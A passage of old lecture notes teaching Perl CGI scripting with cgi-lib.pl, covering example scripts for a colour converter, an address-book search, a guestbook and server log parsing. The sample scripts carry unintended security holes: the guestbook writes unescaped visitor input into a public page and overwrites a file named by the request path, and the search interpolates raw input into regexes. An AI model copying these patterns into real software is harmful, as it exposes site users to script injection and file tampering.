Note the format of the `require` command has the Perl file listed in ``...".

Having included the library we can call on its many useful subroutines.

The `&ReadParse()` subroutine reads either `GET` or `POST` input and conveniently stores the name/value pairs in a Perl array (We will meet these formally shortly for now we simply use the array).

Thus a Perl call of the form:

```
&ReadParse(*input);
```

will store the input in an array `input`. & is used to indicate a Perl subroutine call.

Next we will need to extract out the relevant value of a given name.

This is relatively simple. Perl is very good a process data of this kind.

In our current example there is only one input field and we are therefore only interested in the value

associated with the `myfield` name.

To get this value you simply do: `$input{'myfield'}`

Thus to print out the value typed we could do something like:

```
print "You typed: " . $input{'myfield'} . "\n";
```

A first minimal Perl script

So pulling together all we have learnt so far. A Perl script to take our minimal form input and return in HTML the value type could be:

```
#!/usr/local/bin/perl# minimal.cgi
# This is the minimalist form script
# to demonstrate the use of
# the cgi-lib.pl library

require "cgi-lib.pl";

# Read in all the variables set by the form

&ReadParse(*input);

print "Content-Type: text/html\n\n";
print "<html> <head>\n";
print "<title>Minimal Input</title>\n";
print "</head>\n";
print "<body>\n";

print "You typed: " . $input{'myfield'} . "\n";

print "</body> </html>\n";
```

A second minimal Perl script

We can further than this and exploit some more `cgi-lib.pl` subroutines.

Nearly every CGI output has:

- exactly the same header output.
- similar HTML head information
- similar HTML ending

Fortunately subroutines exist to save us typing this same information all the time.

The `&PrintHeader` subroutine returns the string:

```
Content-Type: text/html\n\n
```

Thus we can use `print` in conjunction to produce our CGI header output via:

```
print &PrintHeader;
```

The `&HtmlTop` subroutine accepts a single string argument, `MY TITLE` say, and return an HTML Head and Body (opening only) with the argument as the HTML page `TITLE` and `H1` Header. *I.e.*

```
<html>
<head>
<title>MY TITLE</title>
</head>
<body>
<h1>MY TITLE</h1>
```

which is rather useful.

The `&HtmlBot` subroutine is the compliment of `&HtmlTop` and returns:

```
</body>
</html>
```

Thus we can use these functions and we only need to provide the main HTML body ourselves.

Thus we develop a better minimal.pl program as follows

```
#!/usr/local/bin/perl

# minimal.cgi
# This is the minimalist form script
# to demonstrate the use of
# the cgi-lib.pl library

require "cgi-lib.pl";

# Read in all the variables set by the form

&ReadParse(*input);

# Read in all the variables set by the form
  &ReadParse(*input);

# Print the header + html top
  print &PrintHeader;
  print &HtmlTop ("Minimal Input");

print "You typed: " . $input{'myfield'} . "\n";

print &HtmlBot;
```

---

dave@cs.cf.ac.uk

Multiple argument input to a Perl CGI script

Let us now return to a more complex form example. We previously looked at the *Python Quiz* form.

Python Quiz:

What is thy name:

What is thy quest:

What is thy favorite color: chartreuse

What is the weight of a swallow: African Swallow or Continental Swallow

What do you have to say for yourself

Press here to submit your query.

The HTML to produce this is:

```
<H1>Python Quiz: </H1>

<form  method = "post" action = "simple-form.cgi">
What is thy name: <input name="name"><P>
What is thy quest: <input name="quest"><P>

What is thy favorite color:
 <select name="color">
 <option selected>chartreuse
 <option>azure
 <option>puce
 <option>cornflower
 <option>olive draub
 <option>gunmetal
 <option>indigo2
 <option>blanched almond
 <option>flesh
 <option>ochre
 <option>opal
 <option>amber
 <option>mustard
 </select>
<P>

What is the weight of a swallow: <input type="radio" name="swallow"
```

```
value="african" checked> African Swallow or
<input type="radio" name="swallow" value="continental"> Continental
Swallow
<P>

What do you have to say for yourself
<textarea name="text" rows=5 cols=60></textarea>
<P>

Press <input type="submit" value="here"> to submit your query.
</form>
```

Note: that the Method attribute is set to `POST`. This desirable since many name/value pairs are sent to the CGI script.

If the method was set to `GET` instead the call would look something like this:

```
http://dave.cs.cf.ac.uk/simple-form.cgi?name=Dave&
quest=Find+Holy+Grail&
color=olive+draub&
swallow=continental&
text=I+am+Tired
```

Also:

- note relevant character substiutions and argument dividors
- this is all one line of a URL

The Post method sends all this dat via standard input which is far neater.

This has several input name/value pairs.

To extract out the relevant value for a given name is straightforward though:

- use `&ReadParse(*input)`
- extract out the value for a given name using `$input{'name'}`

It is also useful to process the form input for a `Textarea` field so that line breaks are inserted - since HTML does not preserve linebreaks and carriage returns will be present in the multiline output.

The Perl commands:

```
($text = $input{'text'}) =~ s/\n/\n<BR>/g;
```

does this.

This Perl is a little complex for complete study now. Essentially the following occurs

- The input value to the `text` name is copied to a `$text` array.

  ```
  ($text = $input{'text'})
  ```

- All end of lines `\n` characters are substituted (`s/.../` command) by `\n<BR>`.

  ```
  s/\n/\n<BR>/g
  ```

  The `s/old_sting/new_string/` command is commonly used in Perl. The `g` at the end of the command indicates a *global* substitution (all instances get replaced) rather than the (default) first found.

So our complete Perl script is as follows:

- Input is read and parsed as usual with `cgi-lib.pl` routine `&ReadParse(*input)`
- Values pertaining to names (`name, color, quest, swallow` and `text` are sought.
- The `text` value is processed as above.
- The values are printed out in HTML format.

- `cgi-lib.pl` subroutines are used to output CGI Header, and HTML Top and bottom.
- Another `cgi-lib.pl` subroutine, `&PrintVariables(*input)`, is also used to print out all the input name/value pairs.

The complete Perl code is as follows:

```
#!/usr/local/bin/perl

# Copyright (C) 1994 Steven E. Brenner
# This is a small demonstration script
# to demonstrate the use of
# the cgi-lib.pl library

require "cgi-lib.pl";


# Read in all the variables from form
&ReadParse(*input);

# Print the header
print &PrintHeader;
print &HtmlTop ("cgi-lib.pl demo form output");

# Do some processing, and print some output
# add <BR>'s after carriage returns
# to multline input, since HTML does not
# preserve line breaks
($text = $input{'text'}) =~ s/\n/\n<BR>/g;

print << ENDOFTEXT;

You, $input{'name'}, whose favorite color is $input{'color'} are on a
quest which is $input{'quest'}, and are looking for the air speed/velocity of an
$input{'swallow'} swallow.  And this is what you have to say for
yourself:<P> $text<P>

ENDOFTEXT


# If you want, just print out a list of all of the variables.
print "<HR>And here is a list of the variables you entered...<P>";
print &PrintVariables(*input);

# Close the document cleanly.
print &HtmlBot;
```

---

dave@cs.cf.ac.uk

Some Example Perl CGI Scripts

Let us conclude our brief study of Perl by looking at some example CGI scripts.

The examples are taken form the Laura Lemay book: *"Teach yourself web publishing in HTML in 14 Days"*.

- Red, Green and Blue to Hexadecimal Converter
- An Address Book Search Engine
- Creating a Guest Book
- A Web Page Counter

---

dave@cs.cf.ac.uk

Red, Green and Blue to Hexadecimal Converter

This is a useful program since HTML Background colours are specified in Hex values (See later lectures). This HTML FORM/CGI script converts RGB numbers in range 0-155 to HEX values.

The HTML FORM:

```
<HTML>
<HEAD>
<TITLE>RGBtoHex: an RGB to Hexidecimal Color Converter</TITLE>
</HEAD>
<BODY>
<H2>RGBtoHex</H2>


<HR>
<FORM METHOD=POST ACTION="http://www.cs.cf.ac.uk/User-bin/Dave.Marshall/rgb.pl">
<P>Please enter the RGB values for your color:
<P>Red (0-255): <INPUT TYPE="text" NAME="red"><BR>
Green (0-255): <INPUT TYPE="text" NAME="green"><BR>
Blue (0-255): <INPUT TYPE="text" NAME="blue"><BR>
<INPUT TYPE="submit" VALUE="Submit Values"><INPUT TYPE="reset"
VALUE="Clear Values">
<HR>
<ADDRESS>
RGBtoHex was written by
<A HREF="http://www.lne.com/lemay/">Laura Lemay</A> and
<A HREF="http://www.lne.com/ericm/">Eric Murray</A>
</ADDRESS>
```

and looks like this:

RGBtoHex

RGBtoHex converts standard RGB values (three 0 to 255 ASCII numbers indicating red, green, and blue), into a hexadecimal triplet that can be used for the background and text colors in Netscape 1.1b1 or in any other program that requires colors in this format.

RGB2toHex was written by Eric Murray and Laura Lemay, and is in the public domain. Feel free to install the source for this program on your own system (it requires the perl language and cgi-lib.pl) but please credit us for it (you can use the signature at the bottom of this form).

Please enter the RGB values for your color:

Red (0-255):

Green (0-255):

Blue (0-255):

Submit Values Clear Values

RGBtoHex was written by Laura Lemay and Eric Murray

The CGI Script is as follows:

```
require 'cgi-lib.pl';

# print header:
&ReadParse(*in);
$blort=&PrintHeader;

print "$blort\n";

print "<HTML><HEAD><TITLE>RGBtoHex: Results</TITLE></HEAD><BODY>\n";
print "<H2>RGBtoHex: Result</H2>\n";
print "<HR>\n";
# check for all values:
if (($in{'red'} eq '') || ($in{'green'} eq '') || ($in{'blue'} eq '')) {
        print "You need to give all three values!";
}
else {
        print "<p> RGB values of $in{'red'} $in{'green'} $in{'blue'}
equals the hexadecimal value <B>";
        printf (" #%2.2X%2.2X%2.2X\n",$in{'red'},$in{'green'},$in{'blue'});
}
print "</B>\n<HR><ADDRESS>RGBtoHex was written by";
print "<A HREF=\"http://www.lne.com/lemay/\">Laura Lemay</A> and";
print "<A HREF=\"http://www.lne.com/ericm/\">Eric Murray</A>";
print "</ADDRESS><BODY></HTML>\n";
```

Download Source code:

- HTML for rgb.html.
- Perl for rgb.pl.

What is going on here?

This Perl Script is fairly straightforward:

- We use the `cgi-lib.pl ReadParse` subroutine to read the CGI input.
- We extract out the associated name `red, green` and `blue` values.
- Print out appropriate CGI/HTML output.
- The output needs to convert the decimal input to Hexadecimal output.
- The conversion is easy with a different Perl print statement `printf`

  `printf` is a bit like `print` except that it takes a *format string* followed by a *variable list* that is formatted according to the specification of the format string.

To force numeric output to be Hexadecimal simply use the `%X` command. To force only 2 digit output set the *field width* to 2 via `%2.2X`.

So to print out the HEX data we do:

```
printf (" #%2.2X%2.2X%2.2X\n",$in{'red'},$in{'green'},$in{'blue'});
```

---

dave@cs.cf.ac.uk

An Address Book Search Engine

This is a more complex and larger script. It illustrates how information may be queried from a information stored in a type database -- for now we keep things simple. The data base is just a text file and we can only read from the file.

The HTML Form Front-End is as composed via:

```
<HTML>
<HEAD>
<TITLE>Address Book Search Forms</TITLE>
</HEAD>
<BODY>
<H1>WWW Address Manager</H1>
<P>Enter search values in any field.
<PRE><HR>
<FORM METHOD=POST
ACTION="http://www.cs.cf.ac.uk/User-bin/Dave.Marshall/address.pl">
<P><B>Name:</B>
<INPUT TYPE="text" NAME="Name" SIZE=40>
<P><B>Address:</B>
<INPUT TYPE="text" NAME="Address" SIZE=40>
<P><B>Home Phone:</B>
<INPUT TYPE="text" NAME="Hphone" SIZE=40>
<P><B>Work Phone:</B>
<INPUT TYPE="text" NAME="Wphone" SIZE=40>
<P><B>Email Address:</B>
<INPUT TYPE="text" NAME="Email" SIZE=40>
<P><B>Home Page: </B>
<INPUT TYPE="text" NAME="WWW" SIZE=40>
</PRE>
<INPUT TYPE="submit" VALUE="Search">
<INPUT TYPE="reset" VALUE="Clear">

<HR>
</FORM>
</BODY>
</HTML>
```

and looks like this:

WWW Address Manager

Enter search values in any field.

Name:

Address:

Home Phone:

Work Phone:

Email Address:

Home Page:

Search Clear

The Perl CGI script is as follows:

```
require 'cgi-lib.pl';

# grab values passed from form:
&ReadParse(*in);

print "Content-type: text/html\n\n";

# print the top part of the response
print "<HTML><HEAD><TITLE>Addresss Book Search Results</TITLE></HEAD>\n";
print "<BODY><H1>Addresss Book Search Results</H1>\n";

# read and parse data file
$data="address.data";

open(DATA,"$data") || die "Can't open $data: $!\n</BODY></HTML>\n";
while(<DATA>) {
        chop;   # delete trailing \n
        if (/^\s*$/) {
                # break between records
                if ($match) {
```

```
                        # if anything matched, print the whole record
                        &printrecord($record);
                        $nrecords_matched++;
                }
                undef $match;
                undef $record;
                next;
        }
        # tag: value
        ($tag,$val) = split(/:/,$_,2);
        if ($tag =~ /^Name/i) {
                $match++ if( $in{'Name'} && $val =~ /\b$in{'Name'}\b/i) ;
                $record = $val;
                next;
        }
        if ($tag =~ /^Address/i) {
                $match++ if( $in{'Address'} && $val =~ /\b$in{'Address'}\b/i) ;
                $record .= "\n<BR>$val" if ($val);
                next;
        }
        if ($tag =~ /^Home\s*Pho/i) {
                $match++ if( $in{'Hphone'} && $val =~ /\b$in{'Hphone'}\b/i) ;
                $record .= "\n<BR>Home: $val" if ($val);
                next;
        }
        if ($tag =~ /^Work/i) {
                $match++ if( $in{'Wphone'} && $val =~ /\b$in{'Wphone'}\b/i) ;
                $record .= "\n<BR>Work: $val" if ($val);
                next;
        }
        if ($tag =~ /^Email/i) {
                $match++ if( $in{'Email'} && $val =~ /\b$in{'Email'}\b/i) ;
                $record .= "\n<BR><A HREF=\"mailto:$val\">$val</A>" if ($val);
                next;
        }
        if ($tag =~ /Page/i) {
                $match++ if( $in{'WWW'} && $val =~ /\b$in{'WWW'}\b/i) ;
                $record .= "\n<BR><A HREF=$val>$val</A>" if ($val);
                next;
        }
        # anything else
        $record .= $_;
}
close DATA;

if (! defined $nrecords_matched)
{ print "<H2>No Matches</H2>\n"; }

print "</BODY></HTML>\n";
exit;

sub printrecord {
        local($buf) = @_;
        print "<P>\n$buf<P>\n";
}
```

Go to single HTML page for address book

Download Source code:

- HTML for address.html.
- Perl for address.pl.
- Download/View for address.data.

What is going on here?

This Perl Script essentially does the following:

- We use the `cgi-lib.pl ReadParse` subroutine to read the CGI input.
- We extract out the associated name value pairs.
- The data is read in from a file *address.data.txt*
- The data is searched using Perl regular expressions for given Names, Addresses *etc.* and matches stored and printed out.
- The subroutine `printrecord` prints out the matched record.

---

dave@cs.cf.ac.uk

Creating a Guest Book

The Guest book is a bit more complicated than the address book. In a guestbook readers can post comments about you WWW pages.

Guestbooks are quite common on WWW pages.

The HTML Form is as follows:

```
<HTML>
<HEAD>
<TITLE>Comments!</TITLE>
</HEAD>
</BODY>

<!--GUESTBOOK-->
<H1>Comments!</H2>
<P>Here are comments people have left
about my pages.  Post your own
using the form at the end of the page.
<P>Comments list started on
<!--STARTDATE--> Apr 4 1995
Last post on
<!--LASTDATE-->
Thu Aug 24 09:25:46 PDT 1995
<HR><B>Susan M.
 <A HREF=mailto:sdsm>sus@monitor.com
</A></B>
Tue Apr 10 05:57:09 EDT 1995
<P>This is the worst home page
I have ever seen on the net.  Please
stop writing.
<HR><B>Tom Blanc
 <A HREF=mailto:le7may@lne.com>
tlb666@netcom.com</A></B>  Wed Apr 11
21:58:50 EDT 1995
<P>Dude.  Get some professional help.
Now.


<!--POINTER-->
<!--everything after this is standard
and unchanging. -->
<HR>
Post a response:
<BR>
<FORM METHOD=POST
ACTION="http://www.cs.cf.ac.uk/
/User-bin/Dave.Marshallguestbook.pl/
guest.html">
```

```
Name: <INPUT TYPE="text" NAME="name"
SIZE=25 MAXLENGTH=25>
<BR>
Email address: <INPUT TYPE="text"
NAME="address" SIZE=30 MAXLENGTH=30>
<BR>
Text:
<BR>
<TEXTAREA ROWS=15 COLS=60 NAME="body">
</TEXTAREA>
<BR>
<INPUT TYPE=submit VALUE="POST">
<INPUT TYPE=reset VALUE="CLEAR">
</FORM>
<HR>
<ADDRESS>
This guestbook program copyright 1995
<A HREF="http://www.lne.com/lemay/">
Laura Lemay</A> and
<A HREF="http://www.lne.com/ericm/">
Eric Murray</A>
</ADDRESS>
</BODY>
</HTML>
```

and looks like this:

This is just a from front end. Go to the THIS PAGE for a fully working form.

Comments!

Here are comments people have left about my pages. Post your own using the form at the end of the page.

Comments list started on Apr 4 1995 Last post on Thu Aug 24 09:25:46 PDT 1995

Susan M. **sus@monitor.com** Tue Apr 10 05:57:09 EDT 1995

This is the worst home page I have ever seen on the net. Please stop writing.

Tom Blanc **tlb666@netcom.com** Wed Apr 11 21:58:50 EDT 1995

Dude. Get some professional help. Now.

---

xyzzy **xyzzy@zorkmid.com** Wed Apr 11 22:06:25 EDT 1995

What **is** this? I can't figure out whats going on here.

Laura **lemay@lne.com** Mon Apr 24 00:21:49 EDT 1995

Hi Laura! I was just testing your awesome guestbook. Say hi to Eric for me.

Post a response:

Name:

Email address:

Text:

POST CLEAR

This guestbook program copyright 1995 Laura Lemay and Eric Murray

The Perl CGI is as follows:

```
require 'cgi-lib.pl';

# grab values passed from form:
&ReadParse(*in);

print "Content-type: text/html\n\n";

# print the top part of the response
print "<HTML><HEAD>\n";
print "<TITLE>Post Results</TITLE>\n";
print "</HEAD><BODY>\n";

# change to your favorite date format:
$date = `date`;
chop($date); # trim \n

# Grab the HTML file and make a file name for the temp file.
$file = "$ENV{'PWD'}" . "$ENV{'PATH_INFO'}";
$tmp = $file . ".tmp";
$tmp =~ s/\//@/g;       # make a unique tmp file name from the path
$tmp = "/tmp/$tmp";

# if any fields are blank, then skip the post and inform user:
if ( !$in{'name'} || !$in{'address'} || !$in{'body'}) {
    &err("You haven't filled in all the fields. Back up and try again.");
}

# reformat the body of the post.  we want to preserve paragraph breaks.
$text = $in{'body'};
$text =~ s/\n\r/\n/g;
$text =~ s/\r\r/<P>/g;
$text =~ s/\n\n/<P>/g;
$text =~ s/\n/ /g;
$text =~ s/<P><P>/<P>/g;

# get an exclusive open on the tmp file, so
# two posts at the same time don't clobber each other.
```

```
for($count = 0; -f "$tmp"; $count++) {
        # oh no. someone else is trying to update the message file.  so we wait.
        sleep(1);
        &err("Tmp file in use, giving up!") if ($count > 4);  # but not for long
}
open(TMP,">$tmp") || &err("Can't open tmp file.");
# open the HTML file
open(FILE,"<$file") ||
                &err("Can't open file $file: $!");

# an HTMLBBS file.  look through it for the HTML comments
# that denote stuff we want to change:
while(<FILE>) {
        if (/<!--LASTDATE-->/)  { print TMP "<!--LASTDATE-->  $date \n"; }
        elsif (/<!--GUESTBOOK-->/) {
                print TMP "<!--GUESTBOOK-->\n";
                $guestbook++;
        }
        elsif (/<!--POINTER-->/) {
                # add this post
                print TMP "<HR>";
                print TMP "<B>$in{'name'}  \n";
                print TMP " <A HREF=mailto:$in{'address'}>
                   $in{'address'}</A></B>  $date\n";
                print TMP "<P> $text\n<!--POINTER-->\n";
        }
        else { print TMP $_; }  # copy lines
}
if (! defined $guestbook)
{ &err("not a Guestbook file!"); }


# move the new file over the old:
open(TMP,"<$tmp") || &err("Can't open tmp file.");
# open the HTML file
open(FILE,">$file") ||
                &err("Can't open file $file: $!");

while(<TMP>) {
        print FILE $_;
}
close(FILE);
close(TMP);
unlink "$tmp";

# print the rest of the response HTML
print "<H1>Thank you!</H1>";
print "<P>Your comment has been added to the ";
print "<A HREF=\"/User/Dave.Marshall/guest.html\">guestbook</A>\n";
print "</BODY></HTML>\n";
1;

# if we got an error, print message, close & clean up
sub err {
        local($msg) = @_;
        print "$msg\n";
        close FILE;
```

```
        close TMP;
        unlink "$tmp";
        print "</BODY></HTML>\n";
        exit;
}
```

Download Source code:

- HTML for guest.html.
- Perl for guestbook.pl.

What is going on here?

This Perl Script essentially does the following:

- We use the `cgi-lib.pl ReadParse` subroutine to read the CGI input.
- We extract out the associated name value pairs.
- Note that the form `ACTION` passes in a file to read -- actually the HTML source that generated the form in the first place.
  - On a Macintosh the reference is to the file in same directory.
  - On Unix because HTML and CGI scripts are placed in different directories you either have to copy or make a UNIX link to the file:

    To make a UNIX link:
    - Telnet to UNIX account.
    - `cd` to you `public_cgi-bin` directory.
    - Type from the command line:

      ```
      ln -s ../public_html/file.html
      ```

      where `file.html` is the file you need to link to.

      Linking is better than copying since if you change any HTML in the `file.html` the link refers to the udates file. A copied file is out of date and therefore **incorrect**.
- You will also need to make sure that the cgi-bin diurectory and data file `guest.html` are group writable.

  See above notes on Reading and Writing files.
- Data is actually written to this file as ``guests'' leave their comments.
- We therefore have a recursive dynamic HTML file/CGI script interaction. HTML form calls script save to HTML file *etc.*

---

dave@cs.cf.ac.uk

A Web Page Counter

Web page counters can be used to indicate how many time your Web page or pages have been visited.

The URL: http://www.htmlgoodies.com/countcgi.html conatins Perl scripts, instructions and explanations as yo how to achieve this.

---

dave@cs.cf.ac.uk

Using Perl with Web Servers

Web servers frequently need some type of maintenance in order to operate at peak efficiency. This chapter will look at some maintenance tasks that can be performed by Perl programs. You will see some ways that your server keeps track of who visits and what Web pages are accessed on your site. You will also see some ways to automatically generate a site index, a what's new document, and user feedback about a Web page.

- Server Log Files
- Reading a Log File In Perl
- Listing Access by Document
- Looking at the Status Code
- Existing Log File Analyzing Programs
- Creating Your Own CGI Log File

---

dave@cs.cf.ac.uk

Server Log Files

The most useful tool to assist in understanding how and when your Web site pages and applications are being accessed is the log file generated by your Web server. This log file contains, among other things, which pages are being accessed, by whom, and when.

Each Web server will provide some form of log file that records who and what accesses a specific HTML page or graphic. A terrific site to get an overall comparison of the major Web servers can be found at

`http://www.webcompare.com/`.

From this site one can see which Web servers follow the CERN/NCSA common log format that is detailed below. In addition, you can also find out which sites can customize log files, or write to multiple log files. You might also be surprised at the number of Web servers there are on the market.

Understanding the contents of the server log files is a worthwhile endeavor. And in this section, you'll see several ways that the information in the log files can be manipulated. However, if you're like most people, you'll use one of the log file analyzers that you'll read about in the section "Existing Log File Analyzing Programs" to do most of your work. After all, you don't want to create a program that others are giving away for free.

Note This section about server log files is one that you can read when the need arises. If you are not actively running a Web server now, you won't be able to get full value from the examples. The CD-ROM that accompanies this book has a sample log file to you to experiment on but it is very limited in size and scope.

Nearly all of the major Web servers use a common format for their log files. These log files contain information such as the IP address of the remote host, the document that was requested, and a timestamp. The syntax for each line of a log file is:

```
site logName fullName [date:time GMToffset] "req file proto" status length
```

Because that line of syntax is relatively meaningless, here is a line from a real log file:

```
204.31.113.138 - - [03/Jul/1996:06:56:12 -0800]
    "GET /PowerBuilder/Compny3.htm HTTP/1.0" 200 5593
```

Even though the line is split into two, here, you need to remember that inside the log file it really is only one line.

Each of the eleven items listed in the above syntax and example are described in the following list.

- **site**-either an IP address or the symbolic name of the site making the HTTP request. In the example line the remotehost is `204.31.113.138`.
- **logName**-login name of the user who owns the account that is making the HTTP request. Most remote sites don't give out this information for security reasons. If this field is disabled by the host, you see a dash (`-`) instead of the login name.
- **fullName**-full name of the user who owns the account that is making the HTTP request. Most remote sites don't give out this information for security reasons. If this field is disabled by the host, you see a dash (`-`) instead of the full name. If your server requires a user id in order to fulfill an HTTP request, the user id will be placed in this field.

- **date**-date of the HTTP request. In the example line the date is `03/Jul/1996`.
- **time**-time of the HTTP request. The time will be presented in 24-hour format. In the example line the time is `06:56:12`.
- **GMToffset**-signed offset from Greenwich Mean Time. GMT is the international time reference. In the example line the offset is -0800, eight hours earlier than GMT.
- **req**-HTTP command. For WWW page requests, this field will always start with the GET command. In the example line the request is `GET`.
- **file**-path and filename of the requested file. In the example line the file is `/PowerBuilder/Compny3.htm`. There are three types of path/filename combinations:

Implied Path and Filename-accesses a file in a user's home direc-tory. For example, `/foo/` could be expanded into `/user/foo/homepage.html`. The `/user/foo` directory is the home directory for the user `foo`. And `homepage.html` is the default file name for any user's home page. Implied paths are hard to analyze because you need to know how the server is set up and because the server's set up may change. **Relative Path and Filename**-accesses a file in a directory that is specified relative to a user's home directory. For example, `/foo/cooking.html` will be expanded into `/user/foo/cooking.html`. **Full Path and Filename**-accesses a file by explicitly stating the full directory and filename. For example,

`/user/foo/biking/mountain/index.html`.

- **proto**-type of protocol used for the request. In the example line, proto `HTTP 1.0` is used.
- **status**-status code generated by the request. In the example line the status is `200`.
- **length**-length of requested document. In the example line the byte is `5593`.

Web servers can have many different types of log files. For example, you might see a proxy access log, or an error log. In this chapter, we'll focus on the access log-where the Web server tracks every access to your Web site.

Reading a Log File In Perl

In this section we will develop a Perl script that can open a log file and iterate over the lines of the log file. It is usually unwise to read entire log files into memory because they can get quite large even over over 113 Megabytes!

Regardless of the way that you'd like to process the data, you must open a log file and read it. You can read the entry into one variable for processing, or you can split the entry into it's components. To read each line into a single variable, use the following code sample:

```
$LOGFILE = "access.log";
open(LOGFILE) or die("Could not open log file.");
foreach $line (<LOGFILE>) {
    chomp($line);              # remove the newline from $line.
    # do line-by-line processing.
}
```

Note If you don't have your own server logs, you can use the file `server.log` that is included on the CD-ROM that accompanies this book.

The code snippet will open the log file for reading and will access the file one line at a time, loading the line into the `$line` variable. This type of processing is pretty limiting because you need to deal with the entire log entry at once.

A more popular way to read the log file is to split the contents of the entry into different variables. For example, the code below `logfile.pl` uses the `split()` command and some processing to value 11 variables. It opertates as follows:

- Turn on the *`warning`* option.
- Initialize `$LOGFILE` with the full path and name of the access log.
- Open the log file.
- Iterate over the lines of the log file. Each line gets placed, in turn, into `$line`.
- Split `$line` using the space character as the delimiter.
- Get the time value from the `$date` variable.
- Remove the date value from the `$date` variable avoiding the time value and the `'['` character.
- Remove the "" character from the beginning of the request value.
- Remove the end square bracket from the `gmt` offset value.
- Remove the end quote from the protocol value.
- Close the log file.

The Perl code for `logfile.pl` is:

```
#!/usr/bin/perl -w


$LOGFILE = "access.log";
open(LOGFILE) or die("Could not open log file.");
foreach $line (<LOGFILE>) {

    ($site, $logName, $fullName, $date, $gmt,
         $req, $file, $proto, $status, $length) = split(' ',$line);
    $time = substr($date, 13);
    $date = substr($date, 1, 11);
    $req  = substr($req, 1);
    chop($gmt);
    chop($proto);
    # do line-by-line processing.
}
close(LOGFILE);
```

If you print out the variables, you might get a display like this:

```
$site     = ros.algonet.se
$logName  = -
$fullName = -
$date     = 09/Aug/1996
$time     = 08:30:52
$gmt      = -0500
$req      = GET
$file     = /~jltinche/songs/rib_supp.gif
$proto    = HTTP/1.0
$status   = 200
$length   = 1543
```

You can see that after the split is done, further manipulation is needed in order to "clean up" the values inside the variable. At the very least, the square brackets and the double-quotes needed to be removed.

You could use a regular expression to extract the information from the log file entries.This approach is more straightforward -- assuming that you are comfortable with regular expressions and you should be by now.

The `logfile_regex.pl` is as follows:

```
#!/usr/bin/perl -w


$LOGFILE = "access.log";
open(LOGFILE) or die("Could not open log file.");
foreach $line (<LOGFILE>) {
    $w = "(.+?)";
```

```
    $line =~ m/^$w $w $w \[$w:$w $w\] "$w $w $w" $w $w/;


    $site     = $1;
    $logName  = $2;
    $fullName = $3;
    $date     = $4;
    $time     = $5;
    $gmt      = $6;
    $req      = $7;
    $file     = $8;
    $proto    = $9;
    $status   = $10;
    $length   = $11;


    # do line-by-line processing.
}
close(LOGFILE);
```

The main advantage to using regular expressions to extract information is the ease with which you can adjust the pattern to account for different log file formats. If you use a server that delimits the date/time item with curly brackets, you only need to change the line with the matching operator to accommodate the different format.

---

dave@cs.cf.ac.uk

Listing Access by Document

One easy and useful analysis that you can do is to find out how many times each document at your site has been visited. `access.pl` reports on the access counts of documents beginning with the letter s.

Note The `parseLogEntry()` function uses `$_` as the pattern space. This eliminates the need to pass parameters but is generally considered bad programming practice. But this is a small program, so perhaps it's okay.

`access.pl` operates as follows:

- Turn on the *`warning`* option.
- Define a format for the report's detail line.
- Define a format for the report's header line.
- Define the `parseLogEntry()` function.
- Declare a local variable to hold the pattern that matches a single item.
- Use the matching operator to extract information into pattern memory.
- Return a list that contains the 11 items extracted from the log entry.
- Open the logfile.
- Iterate over each line of the logfile.
- Parse the entry to extract the 11 items but only keep the file specification that was requested.
- Put the filename into pattern memory.
- Store the filename into `$fileName`.
- Test to see if `$fileName` is defined.
- Increment the file specification's value in the `%docList` hash.
- Close the log file.
- Iterate over the hash that holds the file specifications.
- Write out each hash entry in a report.

The Perl for access.pl is as follows:

```
#!/usr/bin/perl -w


format =
  @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< @>>>>>>>
  $document,                               $count
.
```

```
format STDOUT_TOP =
  @||||||||||||||||||||||||||||||||||||  Pg @<


  "Access Counts for S* Documents",,        $%
  Document                                  Access Count
  ------------------------------------- ------------
.



sub parseLogEntry {
    my($w) = "(.+?)";
    m/^$w $w $w \[$w:$w $w\] "$w $w $w" $w $w/;
    return($1, $2, $3, $4, $5, $6, $7, $8, $9, $10, $11);
}




$LOGFILE = "access.log";
open(LOGFILE) or die("Could not open log file.");
foreach (<LOGFILE>) {
    $fileSpec = (parseLogEntry())[7];
    $fileSpec =~ m!.+/(.+)!;
    $fileName = $1;
    # some requests don't specify a filename, just a directory.
    if (defined($fileName)) {
        $docList{$fileSpec}++ if $fileName =~ m/^s/i;
    }
}
close(LOGFILE);


foreach $document (sort(keys(%docList))) {
    $count = $docList{$document};
    write;
}
```

This program displays:

```
Access Counts for S* Documents      Pg 1


  Document                                  Access Count
  ------------------------------------- ------------
  /~bamohr/scapenow.gif                            1
  /~jltinche/songs/song2.gif                       5
  /~mtmortoj/mortoja_html/song.html                1
```

```
/~scmccubb/pics/shock.gif                    1
```

This program has a couple of points that deserve a comment or two. First, notice that the program takes advantage of the fact that Perl's variables default to a global scope. The main program values `$_` with each log file entry and `parseLogEntry()` also directly accesses `$_`. This is okay for a small program but for larger programs, you need to use local variables. Second, notice that it takes two steps to specify files that start with a letter. The filename needs to be extracted from `$fileSpec` and then the filename can be filtered inside the `if` statement. If the file that was requested has no filename, the server will probably default to `index.html`. However, this program doesn't take this into account. It simply ignores the log file entry if no file was explicitly requested.

You can use this same counting technique to display the most frequent remote sites that contact your server. You can also check the status code to see how many requests have been rejected. The next section looks at status codes.

---

dave@cs.cf.ac.uk

Looking at the Status Code

It is important for you to periodically check the server's log file in order to determine if unauthorized people are trying to access secured documents. This is done by checking the status code in the log file entries.

Every status code is a three digit number. The first digit defines how your server responded to the request. The last two digits do not have any categorization role. There are five values for the first digit:

- **1xx:** Informational-Not used, but reserved for future use
- **2xx**: Success-The action was successfully received, understood, and accepted.
- **3xx**: Redirection - Further action must be taken in order to complete the request.
- **4xx**: Client Error - The request contains bad syntax or cannot be fulfilled.
- **5xx**: Server Error - The server failed to fulfill an apparently valid request.

Below we list the most common status codes that can appear in your log file. You can find a complete list on the **http://www.w3.org/pub/WWW/Protocols/HTTP/1.0/spec.html** Web page.

200

-- OK

204

-- No content

301

-- Moved permanently

302

-- Moved temporarily

400

-- Bad Request

401

-- Unauthorized

403

-- Forbidden

404

-- Not found

500

-- Internal server error

501

-- Not implemented

503

-- Service unavailable

Status code 401 is logged when a user attempts to access a secured document and enters an incorrect password. By searching the log file for this code, you can create a report of the failed attempts to gain entry into your site.

The code listing `serchlog.pl` shows how the log file could be searched for a specific error code-in this case, 401.

`serchlog.pl` operates as follos:

- Turn on the warning option.
- Define a format for the report's detail line.
- Define a format for the report's header line.
- Define the *`parseLogEntry()`* function.
- Declare a local variable to hold the pattern that matches a single item.
- Use the matching operator to extract information into pattern memory.
- Return a list that contains the 11 items extracted from the log entry.
- Open the logfile.
